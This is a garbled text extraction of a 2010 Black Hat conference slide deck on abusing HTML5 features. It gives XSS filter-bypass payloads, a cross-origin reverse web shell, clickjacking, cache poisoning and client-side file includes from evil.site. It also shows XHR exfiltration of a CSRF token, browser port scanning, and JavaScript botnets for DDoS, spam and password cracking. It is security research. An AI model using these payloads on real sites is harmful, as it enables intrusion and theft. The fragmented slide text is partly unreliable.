ATTACK
TTACK & DEFENSE EFENSE labs
Attacking with HTML5
Lavakumar Kuppan
Attacking with HTML5 Lavakumar Kuppan Who am I ? Web Security - - PowerPoint PPT Presentation
A TTACK TTACK & D EFENSE EFENSE labs Attacking with HTML5 Lavakumar Kuppan Who am I ? Web Security Researcher of Attack and Defense Labs, www.andlabs.org Penetration Tester @ really big bank Author of Imposter & Shell
ATTACK
TTACK & DEFENSE EFENSE labs
Attacking with HTML5
Lavakumar Kuppan
ATTACK ATTACK & DEFENSE DEFENSE
labs
Who am I ?
@lavakumark Disclaimer:
Views expressed in this talk are my own and does not necessarily reflect those of my employer
Black Hat Abu Dhabi 2010 2
ATTACK ATTACK & DEFENSE DEFENSE
labs
What to Expect?
– Ravan – JavaScript Distributed Password Cracker – JSRecon – HTML5 based JavaScript port/network scanner
Black Hat Abu Dhabi 2010 3
Black Hat Abu Dhabi 2010 4
ATTACK ATTACK & DEFENSE DEFENSE
labs
What is HTML5
plug‐ins like Flash/Silverlight/Java
Black Hat Abu Dhabi 2010 5
ATTACK ATTACK & DEFENSE DEFENSE
labs
There is some HTML5 in all of us
FireFox, Chrome, Safari and Opera.
would have some HTML5 in you(r machine)
Black Hat Abu Dhabi 2010 6
ATTACK ATTACK & DEFENSE DEFENSE
labs
Is HTML5 hopelessly insecure?
– Security has been a major consideration in the design of the specification – But it is incredibly hard to add features in any technology without increasing the possibility of abuse This talk is about the abuse of some of HTML5’s features
Black Hat Abu Dhabi 2010 7
ATTACK ATTACK & DEFENSE DEFENSE
labs
HTML5 Features featured in this talk
Black Hat Abu Dhabi 2010 8
Black Hat Abu Dhabi 2010 9
ATTACK ATTACK & DEFENSE DEFENSE
labs
Black‐list XSS filters
encoding is not possible ‐ accepting rich content from users
Black Hat Abu Dhabi 2010 10
ATTACK ATTACK & DEFENSE DEFENSE
labs
Bypassing Black‐list filters with HTML5 ‐ 1
☺
Eg: <video onerror="javascript:alert(1)"><source> <audio onerror="javascript:alert(1)"><source>
Black Hat Abu Dhabi 2010 11
ATTACK ATTACK & DEFENSE DEFENSE
labs
Bypassing Black‐list filters with HTML5 ‐ 2
attribute ☺
etc
Eg: <form id=test onforminput=alert(1)> <input> </form> <button form=test onformchange=alert(2)>X
Black Hat Abu Dhabi 2010 12
ATTACK ATTACK & DEFENSE DEFENSE
labs
Bypassing Black‐list filters with HTML5 ‐ 3
‘on\w+=‘.
filter ☺ Eg: <form id="test" /><button form="test“ formaction="javascript:alert(1)">X
Black Hat Abu Dhabi 2010 13
ATTACK ATTACK & DEFENSE DEFENSE
labs
Self‐triggering XSS exploits with HTML5
attribute of INPUT tags.
this XSS <input type="text" value="‐>Injecting here"
<input type="text" value="‐‐>Injecting here"
Black Hat Abu Dhabi 2010 14
ATTACK ATTACK & DEFENSE DEFENSE
labs
HTML5 Security CheatSheet
Front end : http://heideri.ch/jso/#html5 Back end: http://code.google.com/p/html5security/
Black Hat Abu Dhabi 2010 15
ATTACK ATTACK & DEFENSE DEFENSE
labs
Demo
Black Hat Abu Dhabi 2010 16
Black Hat Abu Dhabi 2010 17
ATTACK ATTACK & DEFENSE DEFENSE
labs
Cross Origin Request (COR)
Policy
calls
long as Site B allows it.
Access‐Control‐Allow‐Origin: Site A
Black Hat Abu Dhabi 2010 18
ATTACK ATTACK & DEFENSE DEFENSE
labs
Reverse Web Shell
Shell
injects his payload in the victim’s browser
attacker.site and read the response
attacker and victim
by using this channel
Black Hat Abu Dhabi 2010 19
ATTACK ATTACK & DEFENSE DEFENSE
labs
HTML5 Advantage
communication
communication takes this attack to whole another level
Black Hat Abu Dhabi 2010 20
ATTACK ATTACK & DEFENSE DEFENSE
labs
Shell of the Future
accessing a Reverse Web Shell
victim’s browser
browser.
like Http‐Only and IP Address–Session ID binding
Black Hat Abu Dhabi 2010 21
ATTACK ATTACK & DEFENSE DEFENSE
labs
Shell of the Future’s Architecture
Black Hat Abu Dhabi 2010 22
ATTACK ATTACK & DEFENSE DEFENSE
labs
Demo
Black Hat Abu Dhabi 2010 23
Black Hat Abu Dhabi 2010 24
ATTACK ATTACK & DEFENSE DEFENSE
labs
Text‐field Injection using Drag and Drop API
Clickjacking attacks
Drop operation
across domains
Black Hat Abu Dhabi 2010 25
ATTACK ATTACK & DEFENSE DEFENSE
labs
How it works
<div draggable="true"
'Evil data')“><h3>DRAG ME!!</h3></div>
value is set to ‘Evil Data’
invisible iframe
Black Hat Abu Dhabi 2010 26
ATTACK ATTACK & DEFENSE DEFENSE
labs
IFRAME Sandboxing
Clickjacking protection
frame busting is disabled
<iframe src="http://www.victim.site" sandbox></iframe>
Black Hat Abu Dhabi 2010 27
ATTACK ATTACK & DEFENSE DEFENSE
labs
Demo
Black Hat Abu Dhabi 2010 28
Black Hat Abu Dhabi 2010 29
ATTACK ATTACK & DEFENSE DEFENSE
labs
Poisoning HTML5 Application Cache
user approval before setting this cache
deleting regular cache also deletes this cache
update it but Application Cache would still retain the poisoned content
Black Hat Abu Dhabi 2010 30
ATTACK ATTACK & DEFENSE DEFENSE
labs
Demo
Black Hat Abu Dhabi 2010 31
Black Hat Abu Dhabi 2010 32
ATTACK ATTACK & DEFENSE DEFENSE
labs
Client‐side File Includes
http://www.example.com/#index.php
<html><body><script>
x = new XMLHttpRequest(); x.open("GET",location.hash.substring(1)); x.onreadystatechange=function(){if(x.readyState==4){ document.getElementById("main").innerHTML=x.responseText;}} x.send();
</script>
<div id=“main”></div>
</body></html>
Black Hat Abu Dhabi 2010 33
ATTACK ATTACK & DEFENSE DEFENSE
labs
The Cross Origin Request effect
earlier
http://example.com/#http://evil.site/payload.php
within <div id=“main”></div>
and a bunch of other sites
Black Hat Abu Dhabi 2010 34
ATTACK ATTACK & DEFENSE DEFENSE
labs
XMLHttpRequest as a sink
based XSS sink
different ways. Eg: JSON, XML HTML
they are usually not validated
Black Hat Abu Dhabi 2010 35
ATTACK ATTACK & DEFENSE DEFENSE
labs
Demo
Black Hat Abu Dhabi 2010 36
Black Hat Abu Dhabi 2010 37
ATTACK ATTACK & DEFENSE DEFENSE
labs
Reverse of Client‐side RFI
XHR
attacker’s website, then this data is sent to attacker’s server
Eg: x = new XMLHttpRequest(); x.open(“POST",location.hash.substring(1)); x.send(“a=1&b=2&csrf‐token=k34wo9s3l”);
Black Hat Abu Dhabi 2010 38
Black Hat Abu Dhabi 2010 39
ATTACK ATTACK & DEFENSE DEFENSE
labs
Port Scanning
reliable port scans
indicates the status of the port it is connecting to
– XHR depends on time spent in ReadyState 1 – WebSockets depends on time spent in ReadyState 0
popular browser
Black Hat Abu Dhabi 2010 40
ATTACK ATTACK & DEFENSE DEFENSE
labs
Application‐level scanning
running on it. Types of applications:
– Close on connect: Application terminates the connection once connection is established due to protocol mismatch. – Respond & close on connect: Similar to type‐1 but sends some default response before closing connection – Open with no response: Application keeps the connection open expecting more data or data that would match its protocol specification. – Open with response: Similar to type‐3 but sends some default response on connection, like a banner or welcome message
Black Hat Abu Dhabi 2010 41
ATTACK ATTACK & DEFENSE DEFENSE
labs
ReadyState time – Port Status mapping
Black Hat Abu Dhabi 2010 42
ATTACK ATTACK & DEFENSE DEFENSE
labs
Network Scanning
horizontal scans of the network
personal firewall
– Windows 7 application type‐1 easily detected – Windows XP application type‐3 cannot be detected
(application type ‐3)
Black Hat Abu Dhabi 2010 43
ATTACK ATTACK & DEFENSE DEFENSE
labs
Guessing user’s Private IP
– Most home users are on the 192.168.x.x subnet and the router is 192.168.x.1 – Scanning for port 80 from 192.168.0.1 to 192.168.255.1 identifies the user’s subnet
– Scan the subnet for a port filtered by personal firewalls – Eg: 601337 – The only system that would respond is the user’s system, the request does not get filtered by the firewall as it was generated within the same machine
Black Hat Abu Dhabi 2010 44
ATTACK ATTACK & DEFENSE DEFENSE
labs
JSRecon
Black Hat Abu Dhabi 2010 45
Black Hat Abu Dhabi 2010 46
ATTACK ATTACK & DEFENSE DEFENSE
labs
HTML5 WebWorkers
and run it for as long as the page is active
Can perform resource intensive operations for extended periods with JavaScript without affecting the user’s browsing experience – read as ‘without user’s knowledge’
Black Hat Abu Dhabi 2010 47
ATTACK ATTACK & DEFENSE DEFENSE
labs
Why JavaScript?
computing, made of large number of nodes executing the attacker’s code
anybody’s system
JavaScript code in our browsers everyday during our casual browsing sessions
Black Hat Abu Dhabi 2010 48
ATTACK ATTACK & DEFENSE DEFENSE
labs
Building a botnet
– Reaching out to victims – Extending execution lifetime
Black Hat Abu Dhabi 2010 49
ATTACK ATTACK & DEFENSE DEFENSE
labs
Reaching out to victims
The sole cause of all human misery is the inability of people to sit quietly in their rooms ‐ Blaise Pascal The sole cause of all browser attacks is the inability of people to leave a link unclicked ‐ Internet version
Black Hat Abu Dhabi 2010 50
ATTACK ATTACK & DEFENSE DEFENSE
labs
Extending execution lifetime
like Google or Youtube
Black Hat Abu Dhabi 2010 51
ATTACK ATTACK & DEFENSE DEFENSE
labs
Botnet created, what do we do with them?
We are restricted by the browser’s sandbox, what could we possibly do? Here are a few things that can be done:
Black Hat Abu Dhabi 2010 52
ATTACK ATTACK & DEFENSE DEFENSE
labs
DDoS Attacks
sites
thousand times Eg: http://target.site.com/search.php?product=%
Black Hat Abu Dhabi 2010 53
ATTACK ATTACK & DEFENSE DEFENSE
labs
Email Spam
http://example.com/feedback.html <form method=“GET” action=“feedback.php”> <input type=“hidden” name=“to” value=“fb@example.com” /> From: <input type=“text” name=“from” value=“”/> Subject: <input type=“text” name=“subject” value=“”/> Comment: <input type=“text” name=“comment” value=“”/></form> http://example.com/feedback.php <?php mail($_GET[‘to’],$_GET[‘’subject], $_GET[‘comment’], "From:”. $_GET[‘from’]); ?>
54
ATTACK ATTACK & DEFENSE DEFENSE
labs
Spam through COR
problems
possible
Parameter Pollution
<img src=“http://example.com/feedback.php?....”
Black Hat Abu Dhabi 2010 55
ATTACK ATTACK & DEFENSE DEFENSE
labs
Distributed Password Cracking
platform for password cracking
hashes/second in JavaScript on an I5, 4GB system
performance on same machine
makes up in volume
Black Hat Abu Dhabi 2010 56
ATTACK ATTACK & DEFENSE DEFENSE
labs
Ravan – Distributed JS Computing System
JavaScript
cracking process in their browser
them to individual workers
hash submitters browser
Black Hat Abu Dhabi 2010 57
Black Hat Abu Dhabi 2010 58